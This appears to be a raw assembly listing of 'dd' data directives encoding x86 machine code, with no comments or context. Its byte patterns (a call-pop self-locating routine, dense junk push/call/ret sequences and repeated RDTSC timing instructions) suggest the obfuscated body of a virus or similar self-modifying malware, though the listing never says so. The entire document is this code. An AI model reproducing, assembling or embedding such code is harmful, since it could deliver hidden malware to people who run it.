		dd 9D8B76C3h, 6A632F1h,	1841858Bh, 6A06A6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D8B91C3h
		dd 6A6079Dh, 0C6DE8AF5h, 0B70F0000h, 0D185C7F9h, 6A62Eh
		dd 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 2D8C350h, 0FFF3C5E9h, 0DE8B66FFh, 8B66C18Bh,	0AD858DF8h
		dd 6A06A62Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 4134C355h, 0D830148Fh,	0B219D8Bh
		dd 8B5006A6h, 240489D8h, 13318D89h, 9D8B06A6h, 6A6325Dh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 3E922CC3h, 0DC6EE40Ch, 85BD8BC7h,	6A06A62Fh
		dd 11E900h, 4F570000h, 0F7B62DB5h, 0AF0232Bh, 62AAC7Eh
		dd 8D6F8532h, 0AA4E0C85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 2C76697Ch
		dd 72555913h, 304D9589h, 0BD2906A6h, 6A60A59h, 8B05C083h
		dd 0A609FD9Dh, 48E0F06h, 66000000h, 5046CABFh, 0F88B5250h
		dd 5060310Fh, 5A310F52h, 0C2B86658h, 585A6183h,	6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0D984C356h, 0EE0BFD2h, 6A2840h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 37C35242h, 314DC37Ch
		dd 6A006A08h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 38AC357h, 0A19D2B35h, 6606A62Ch
		dd 11E9D88Bh, 0C000000h, 76B3B9F2h, 0E281F606h,	81FC7C02h
		dd 73AE0CA8h, 124595FFh, 6A06A6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0F6098C3h, 288h, 0B7D68B00h
		dd 8D8D6194h, 6A994FFh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 93C35646h, 0D37B163Bh, 313D9D29h, 9D8906A6h
		dd 6A605ADh, 0BD0BD1FFh, 6A62925h, 1451BD83h, 0F0106A6h
		dd 3B85h, 0E59D3300h, 6A06A630h, 0FFBF0F02h, 8B525090h
		dd 0B7310FFAh, 50585AB2h, 128A0Fh, 52500000h, 8C0Fh, 310F0000h
		dd 310F5250h, 585A585Ah, 6D95FF90h, 0BB06A606h,	2983BC48h
		dd 0F43E9h, 0E800h, 815D0000h, 0AA4E16EDh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 81AAA0CAh, 61E3804Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D5C35343h, 0DAEE5CB9h, 69B9E89Ch, 1DBD33E9h
		dd 0F06A616h, 68Ch, 6DBD8B00h, 8D06A618h, 0A9864A85h, 2D850106h
		dd 5006A604h, 8E8h, 401FDA00h, 56182393h, 12E8D1h, 38F70000h
		dd 0EED62EC6h, 3AAF936Ch, 0AC54B2A1h, 82D82538h, 0BE8h
		dd 5DA64D00h, 0B2A909BCh, 4DC0776Ch, 895B5B5Fh,	6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0ACC1C0C3h, 0C18F3497h, 60064661h, 1BC58589h, 12E906A6h
		dd 78000000h, 6C8C5C77h, 4CE23C9h, 8E46997Bh, 45E838F9h
		dd 0FF646104h, 35h, 19BD2300h, 6406A633h, 2589h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 8159D7C3h, 0DC514DE3h, 8A0FF030h, 6,	3491BD89h, 85FF06A6h
		dd 6A6126Dh, 104DB589h,	0FF6A06A6h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 6CC35242h, 0DF8B78D5h, 0B19B5FFh
		dd 6A06A6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0E76BC4C3h, 0FF8030CCh, 0A6116D95h, 127E906h
		dd 0FE8B0000h, 0BF6600B0h, 70E65EB0h, 64EF8166h, 0B71E46Eh
		dd 0A629519Dh, 0F613C06h, 10883h, 0FF88B00h, 0AE9C8B6h
		dd 4E000000h, 3641FD37h, 784922ACh, 6BA33h, 0FE8A0000h
		dd 0F98BC18Bh, 2904E8C1h, 0A610AD85h, 0E2F76606h, 1D35B589h
		dd 952906A6h, 6A629B5h,	8589C82Bh, 6A61C2Dh, 78C78166h
		dd 66D18B70h, 661193BBh, 4032EB81h, 21E9h, 8820F00h, 57000000h
		dd 505BD89h, 605F06A6h,	7E9h, 0AA44A600h, 0CE9DB09Dh, 32B398B9h
		dd 858B6100h, 6A631FDh,	0C083FA8Bh, 0A59D8B07h,	8906A614h
		dd 0A60FA185h, 0C08306h, 8BF9B70Fh, 0A615399Dh,	0FD03B06h
		dd 1783h, 68A0F00h, 89000000h, 0A61C9985h, 57E906h, 9D8B0000h
		dd 6A605C1h, 21718D8Bh,	0E38006A6h, 1E18376h, 3F840Fh
		dd 8E90000h, 1C000000h,	0E8A88DF0h, 833ECCD5h, 0A62171A5h
		dd 0BF0FFE06h, 0FD9589FFh, 0F06A631h, 388h, 0DF8B6600h
		dd 0FE9h, 0DE942B00h, 1DA46258h, 0A188E149h, 10E6B1B0h
		dd 0E9h, 0C5B58D00h, 6006A9D6h,	0F1E13FBBh, 1BD8919h, 6106A61Ch
		dd 0B529006Ah, 6A61B5Dh, 295995FFh, 6A06A6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 9643EEC3h
		dd 81678281h, 0B1369AEBh, 0EE3B966h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 24832CC3h
		dd 1D9DF9EDh, 0BE904C8h, 27000000h, 3FE52F9Bh, 43542769h
		dd 880F3DF4h, 0
		dd 0FFCE183h, 6AFCD8B7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 115AC355h, 86BF662Ah
		dd 89C02BC4h, 0A60A7DB5h, 6AD22B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C7C9C356h
		dd 0B6FEBBF6h, 33AD68C3h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 6C76A9C3h, 662C17FBh, 9D8BFB8Bh, 6A6134Dh, 9529DA8Ah
		dd 6A61A4Dh, 880Dh, 7E96000h, 34000000h, 0E5B0B5C8h, 61F51B1Ah
		dd 6AD958Bh, 953106A6h,	6A61E0Dh, 40D8D8Bh, 6A06A6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 890F26C3h, 0A60C9985h, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0C8BCC353h,	0D88B662Dh
		dd 8890Fh, 89570000h, 0A6061595h, 6A5F06h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 731876C3h
		dd 68E8E54Eh, 0E7816642h, 0BD835385h, 6A60FDDh,	0E1840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 934BC350h, 4526539Ch, 0E9EEE972h
		dd 0Ah,	63540764h, 986AF9C0h, 11E85A69h, 48000000h, 22B6DE4Ah
		dd 0ECF10F7Bh, 79C878Eh, 45E1FC5Ch, 5BFE8B66h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 419CBF3h, 4F558D8Dh,	6A06A6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0EBC5E7C3h, 0DBABF1D4h
		dd 8E0FA1CBh, 17h, 12E9h, 0BD277800h, 118D7B58h, 0F3511AFBh
		dd 0C48EEB87h, 0FFD6548Ch, 57006AE1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A2AA8BFh
		dd 55F37F80h, 0DA8B6614h, 0BE9BD83h, 0F0006A6h,	4E084h
		dd 0BD858900h, 8306A60Ah, 0A60BE9BDh, 840F0106h, 4E8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h
		dd 487491FAh, 8C0F0D22h, 6, 5219529h, 83F506A6h, 0A60BE9BDh
		dd 860F0306h, 476h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 1DC35747h, 0E38160B6h, 5FA40924h, 60D98C66h
		dd 0E810Fh, 9E90000h, 7C000000h, 88A4EFCEh, 87C210EAh
		dd 2FE19D33h, 806106A6h, 0BD8B04E1h, 6A629B5h, 840FC90Ah
		dd 11Fh, 0C305BF53h, 8B5F72E6h,	0A615DD85h, 0CD8D0906h
		dd 3306A601h, 0A6209D85h, 0EDBD3106h, 0F06A619h, 5050F9B7h
		dd 0EE952h, 0CE1E0000h,	598D5399h, 0B619FD3Fh, 78C72B3Bh
		dd 6E8310Fh, 68000000h,	0A41A8445h, 0FFBB6695h,	585A5B49h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 884DC356h, 0D98D29BDh,	6A06A618h
		dd 1890F00h, 0F9000000h, 0ECBD5F68h, 8E0F60C3h,	2, 81615853h
		dd 46A02404h, 6A3C32h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 1CEF2C3h, 0A60D6185h, 3595FF06h
		dd 6A06A60Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0B9B2C356h, 519589F3h,	0BB06A60Eh
		dd 69E350C6h, 0B6A38589h, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0B1646FC3h, 89F5BD72h
		dd 0A61D359Dh, 759D0306h, 0E906A607h, 243h, 8BD88B66h
		dd 0A9B69B85h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0A2048746h, 9482BC40h
		dd 0FE8B6617h, 269DBD31h, 0C706A6h, 18h, 0EF44F381h, 0B58B330Bh
		dd 6A9B69Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	62C35040h, 0CF8160BFh, 77832C50h, 5C81C981h, 0F613EC8h
		dd 1786h, 11800F00h, 0E9000000h, 0Ch, 678CC5FEh, 0D266A126h
		dd 8F7DB727h, 2ED9858Bh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 45C2EEC3h, 2238E396h
		dd 689F98Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0AFC35242h, 8D77AFA6h, 0A7E6CE55h, 69BB66B8h, 59858917h
		dd 2906A634h, 0A6349595h, 0DD858B06h, 8B06A615h, 44689D8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A9C35747h
		dd 7E8h, 0F972B500h, 6D29ED54h,	5FFB8B66h, 0E8BF6660h
		dd 0E9B589F2h, 6106A619h, 8E0F5096h, 2,	6A96D88Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F667C356h, 0FCD8A30h, 0B5FFD8BFh, 6A9B69Bh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 62C35545h, 99F22C67h
		dd 13E92Fh, 9E250000h, 0D9D7D840h, 75968FF3h, 82598655h
		dd 0B5C3E4CFh, 764868B9h, 0FA8A8248h, 0B7240481h, 6A7DD68Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 13D6C353h, 8DFA8B66h, 0A9B6A385h,	959D3106h
		dd 9006A625h, 0C830Fh, 8A0F0000h, 6, 310F5250h,	0F50585Ah
		dd 58Eh, 1440BF00h, 6A902D70h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 77D2C350h, 78195D6h
		dd 8BC7532Bh, 0A60765BDh, 0FFFC8A06h, 0A60B3595h, 5E806h
		dd 0AA290000h, 0F297440h, 28Bh,	5B616000h, 61FEB70Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B6C35343h, 0E4738EE0h
		dd 0B549E927h, 0E5BD2960h, 0F806A608h, 13E961h,	0EFAF0000h
		dd 30EAA87Fh, 29D1CDEh,	0D60AD89Dh, 0DDE2EAA2h,	0E985C7D1h
		dd 306A60Bh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0EB28C355h,	219D23E9h
		dd 8306A612h, 0A9B6A3BDh, 840F0006h, 42h, 1EF18501h, 52E906A6h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 30E1C355h, 0B7A9F44Fh,	230C8B3Fh
		dd 6830Fh, 9D8B0000h, 6A62D29h,	820Fh, 30500000h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 3793942Eh, 0AE95328h, 0FD000000h, 0CA3D9A7h,	0E15C7ADBh
		dd 0EE85B25h, 6C000000h, 3B9B2384h, 9EA435DEh, 662C3B31h
		dd 558D0937h, 5F06A60Bh, 0BE9BD83h, 0F0306A6h, 43785h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 4246C19h, 9D89D8E9h, 6A61305h, 0B6A3BD83h
		dd 0F0006A9h, 40384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h
		dd 0FF3FE1F6h, 0A9B6A3B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0F5EB04BEh
		dd 20919D89h, 0BD8B06A6h, 6A608EDh, 0C1D95FFh, 6A06A6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 346D98C3h, 1AC99D8Bh, 8BF506A6h, 0A9B697B5h,	8D296006h
		dd 6A61421h, 11DBD89h, 0C76106A6h, 1000106h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0C5CF7D1h, 894B38A2h, 0A60B3195h, 0BB665006h, 3489CFF5h
		dd 45C38124h, 607AC43Ah, 61F2BF0Fh, 0B6A3B5FFh,	6A06A9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 1EE205C3h, 14860Fh, 0FE90000h, 6A000000h, 0B13023EBh
		dd 2ECB2266h, 8E4FEA81h, 95FFCEA0h, 6A629D1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CC35343h, 307D3EE5h
		dd 890FEE0Bh, 0A62F5D85h, 97B58B06h, 2906A9B6h,	0A619B58Dh
		dd 69858B06h, 6A06A607h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 89F9C351h, 0FAA4E1Eh
		dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 6C27F1C3h, 5A33EB9Ah, 9D8990B0h
		dd 6A61B69h, 6AD958Bh, 83F806A6h, 11E904C2h, 9D000000h
		dd 0DBBD9022h, 0CCD36315h, 59CBB35Ch, 0F186BD9Dh, 6A205089h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0F069C356h, 0E9969B90h, 858DF8EAh, 6A9CA6Bh
		dd 82CEDB81h, 86894D91h, 0B8h, 124D8589h, 6A06A6h, 19318D89h
		dd 0B5FF06A6h, 6A9B6A3h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0DFC35040h, 0E9AA33BBh, 14h, 989B6299h
		dd 0E5BFB390h, 6732E88Fh, 0B369137Ch, 9B696BA6h, 9D78166h
		dd 6D95FF38h, 6A06A606h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E859C353h,	0Dh, 0ABDE39E6h
		dd 0ED44EFEEh, 2F3DC619h, 5E957h, 523E0000h, 5FAE0821h
		dd 19659D8Bh, 535006A6h, 0BB6BBB66h, 2434895Fh,	215D9529h
		dd 0B5FF06A6h, 6A9B6A3h, 2C799D03h, 95FF06A6h, 6A60A15h
		dd 1ADD8589h, 0BD8306A6h, 6A62B29h, 71840F00h, 60000000h
		dd 2A81BD89h, 0CAB606A6h, 18880F61h, 0E9000000h, 13h, 94267091h
		dd 8D6925EBh, 1943A707h, 67DDF04Ch, 500060D1h, 14E9h, 0A636EB00h
		dd 55296570h, 8B9A8C42h, 0EE6F0FD9h, 0ADA3482Bh, 243489B6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FC35040h
		dd 9E9A716h, 0C7000000h, 9F7C932Bh, 2E5D7803h, 0B6A3B5FFh
		dd 0BD0B06A9h, 6A631CDh, 0A439AFBFh, 5595FF64h,	8B06A61Dh
		dd 0A60D619Dh, 0A3B5FF06h, 8906A9B6h, 0A6311595h, 0D995FF06h
		dd 6A06A62Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E98CC350h, 9,	0DA48FCF5h, 0E6126DF6h
		dd 0F5BD8373h, 206A62Ch, 3D840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 216A0C3h
		dd 0B98C77A8h, 0CF96DCBBh, 0F1BD8B58h, 0F06A61Eh, 858BD8B7h
		dd 6A61841h, 0C6F9h, 0C735F380h, 0A62ED185h, 6,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9D8BA03Ch, 6A613F9h,	0FFF211E9h, 68C0FFFh, 8B000000h
		dd 0A61B299Dh, 0BFC18B06h, 413C3EE6h, 2CAD858Dh, 11E806A6h
		dd 60000000h, 0F732D8B5h, 4981FF87h, 235CDC1Dh,	7886F233h
		dd 5FF98B66h, 89DF8B50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FDC5AC3h, 684h, 0ADBD0300h
		dd 6A06A626h, 8D895600h, 6A61DA5h, 6A006A5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 43F4C351h, 800F3F54h, 8, 850F56h, 5B000000h,	5F27858Dh
		dd 8D0906AAh, 6A62981h,	6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 780CC357h
		dd 0BB66901Ch, 505039B9h, 85BF6652h, 56310F39h,	77BBBF66h
		dd 90585A5Bh, 3880Fh, 0EF800000h, 0E9006A9Ah, 0Bh, 0A50E582Ah
		dd 74D7100h, 0F5AE8E7h,	8Eh, 80006A00h,	95FF4FEFh, 6A61245h
		dd 0FE8h, 0B7844000h, 5D9C4530h, 63FE6D2Ah, 0DC440032h
		dd 553BF66h, 0FF8D8D5Bh, 6A06A994h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9AEC353h
		dd 8, 2D30EFDAh, 7A183783h, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 83C7D9C3h
		dd 0A61451BDh, 850F0106h, 67h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0CFC35242h,	0DE901h, 2680000h
		dd 44EAF4BAh, 64DA267Eh, 6A593272h, 5E802h, 0A4580000h
		dd 6687EE53h, 0D017C781h, 5360505Fh, 0DE95Ah, 0C3CE0000h
		dd 572814E7h, 0A34E091Bh, 6138751Bh, 0FF240489h, 0A6066D95h
		dd 0D9BD0306h, 0E906A628h, 0D8Ah, 0E8h,	0ED815D00h, 6AA5F31h
		dd 0B099501h, 0BD8B06A6h, 6A625B5h, 0CE9h, 0D20A6C00h
		dd 0F749CBC3h, 0D4AE67C4h, 4A858D8Ah, 6A06A986h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 8694C356h, 0B94B423Ah, 6660F9BAh, 0E081C88Bh, 60B0BCAAh
		dd 8A0F9061h, 4, 98DABB66h, 8B525050h, 8B310FFBh, 90585ADFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 33C35242h
		dd 85E6CCBDh, 0A6B8759Bh, 35FF64h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 3EFC353h, 89648388h,	25h, 0A9BD8B00h, 106A622h, 0A60DF1BDh
		dd 6D85FF06h, 6A06A612h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0BBE1C350h,	39BD892Dh
		dd 6A06A615h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 10AE6B6Dh, 0CB81AE86h, 2B019F5Ch
		dd 0F49B5FFh, 6A06A6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 4798F8C3h, 1B2D9D0Bh, 95FF06A6h
		dd 6A6116Dh, 11FE9h, 14E800h, 0D1A0000h, 8A07EA89h, 73E43F8Ah
		dd 0C509705Ah, 2056195Dh, 0B05B61B4h, 0B5895700h, 6A6259Dh
		dd 6670E65Bh, 3CFDDF81h, 75BB71E4h, 3C31AFE7h, 0E5830F61h
		dd 66000000h, 0E4BEF381h, 66C8B60Fh, 897484BBh,	0A60CF595h
		dd 6BA06h, 29600000h, 0A6116995h, 0C18B6106h, 47E1D781h
		dd 0E8C149EBh, 0E98D8904h, 6606A62Fh, 0FE8E2F7h, 5B000000h
		dd 0A7B1F39Bh, 6FDAB35Dh, 1869D6C3h, 0DA8BE7ECh, 8BC82B5Fh
		dd 0E9D18BDFh, 0Dh, 8E9h, 3BB5D500h, 0C3B4CA60h, 85858BC5h
		dd 6006A62Ah, 185BD01h,	836106A6h, 0AE807C0h, 0A7000000h
		dd 9CF11F91h, 9842249h,	0C0835FE1h, 6820F00h, 0B000000h
		dd 0A60BF19Dh, 0FD03B06h
		dd 1783h, 6EDB8100h, 925D772h, 0A60AE1BDh, 3AE906h, 9D8B0000h
		dd 6A61CC9h, 10158D8Bh,	0BD8906A6h, 6A63055h, 31159D89h
		dd 0E18306A6h, 19840F01h, 0FC000000h, 1015A583h, 89FE06A6h
		dd 0A62A8595h, 99BD8B06h, 0E906A620h, 0
		dd 0E829B58Dh, 0FB8B06A9h, 0D98B006Ah, 295995FFh, 6A06A6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0EAB2E7C3h, 0E9D4E3D2h, 0B97B50C8h, 8B8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BBC35040h, 93B53D64h
		dd 1EF18589h, 9E806A6h,	0FE000000h, 2E477F74h, 13C97CC5h
		dd 0FCE1835Fh, 6AFCF98Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9085C356h, 0D3B8F806h
		dd 62651B73h, 6870Fh, 0BD010000h, 6A606CDh, 0B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 3B14F8A2h, 0D22BF5E1h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 6EC35040h, 29E781B5h,	6673D8C6h, 0ADD4D2BFh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E5B5C356h
		dd 29B31A0Dh, 11599D33h, 880D06A6h, 8B000000h, 0A62A519Dh
		dd 0AD958B06h, 3106A606h, 0A6018DBDh, 0D8D8B06h, 6A06A604h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 651C353h,	1DAD8509h, 8B5006A6h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0AE99D8Bh, 0BD8306A6h
		dd 6A60FDDh, 29840F00h,	0BF000000h, 6B2BBDE3h, 0B8h, 519D8B00h
		dd 8B06A607h, 0A634B1BDh, 558D8D06h, 2906A64Fh,	0A61D158Dh
		dd 0BFE1FF06h, 2A012107h, 0BE9BD83h, 0F0006A6h,	40884h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0E9BD83D9h, 106A60Bh, 3FA840Fh, 83F80000h
		dd 0A60BE9BDh, 860F0306h, 3B6h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 94C35545h, 326BF194h, 1D9D8BF8h
		dd 8B06A610h, 0A606419Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 78A2CCC3h, 0BDBD8922h
		dd 6606A626h, 8D89D98Ch, 6A62A9Dh, 6004E180h, 0EE9h, 88075800h
		dd 5459E097h, 3388130Dh, 8B8EDDC1h, 0C90A61F1h,	149840Fh
		dd 0BD890000h, 6A60125h, 15DD858Bh, 6A06A6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0B0E566C3h
		dd 8D0FE635h, 0Ch, 6800Fh, 0BD8B0000h, 6A61E91h, 14559D31h
		dd 853306A6h, 6A6209Dh,	90DA8B66h, 6650DE8Bh, 901585BFh
		dd 10E9h, 0B6797700h, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh
		dd 0F006A06h, 683h, 1DBD8B00h, 0E806A61Ch, 4, 1F03FFh
		dd 24448B50h, 8BFB8B04h, 52506000h, 0FE8h, 0EC42F500h
		dd 74D173F1h, 66F78B08h, 0E9375A58h, 8B310F5Bh,	0F585ADFh
		dd 68Ch, 890F00h, 61000000h, 4244489h, 50006A58h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 66CC00EAh, 0B527D781h, 0B558D89h, 95FF06A6h,	6A60B35h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1C35040h
		dd 9A59D8Bh, 858906A6h,	6A9B6A3h, 2C9D9D89h, 0D0E906A6h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5D79C355h, 0DAB92B25h,	0B742C90Dh
		dd 18D89A3h, 8B06A62Eh,	0A9B69B85h, 7E806h, 0C9320000h
		dd 340AF39h, 68D0FABh, 0B000000h, 0A60BE19Dh, 0C75F06h
		dd 18h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
		dd 7AC35545h, 0B5898243h, 6A60DDDh, 0AB4EDB81h,	0B58B73A4h
		dd 6A9B69Fh, 0C8A0Fh, 8F0F0000h, 6, 1269BD8Bh, 858B06A6h
		dd 6A62ED9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0D8C35747h, 611DCCA2h, 0A7C5FBCAh, 89AEB391h, 0CF38006h
		dd 15DD858Bh, 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 520D2DC3h, 50044689h, 3439DFBBh
		dd 2434893Ah, 5158D09h,	0B5FF06A6h, 6A9B69Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E8C35646h, 0E2F90882h
		dd 0D1D2E04Ah, 0CB8166A5h, 4668AA4Fh, 539002E9h, 2404815Fh
		dd 701C1AB9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	54C35646h, 8B7265EBh, 0A3858DD9h, 3106A9B6h, 0A6010585h
		dd 219D8906h, 9006A629h, 10E9h,	7D857800h, 0FF344745h
		dd 0B690D5D4h, 9102493Ch, 0B660506Ch, 10E91Bh, 0BA6F0000h
		dd 1B2D585Fh, 4A787A6Fh, 7A2FAA6Eh, 9061F338h, 3595FFFCh
		dd 6A06A60Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 116AC357h, 40B2F5DAh, 0B33104ACh
		dd 79BD0BA7h, 6106A61Bh, 19118D89h, 85C706A6h, 6A60BE9h
		dd 3, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 14h
		dd 13C35242h, 89E7DB80h, 0A632ADB5h, 0A3BD8306h, 6A9B6h
		dd 8840Fh, 0C3800000h, 1BE97Fh,	30500000h, 4400110Ch, 0E8C10111h
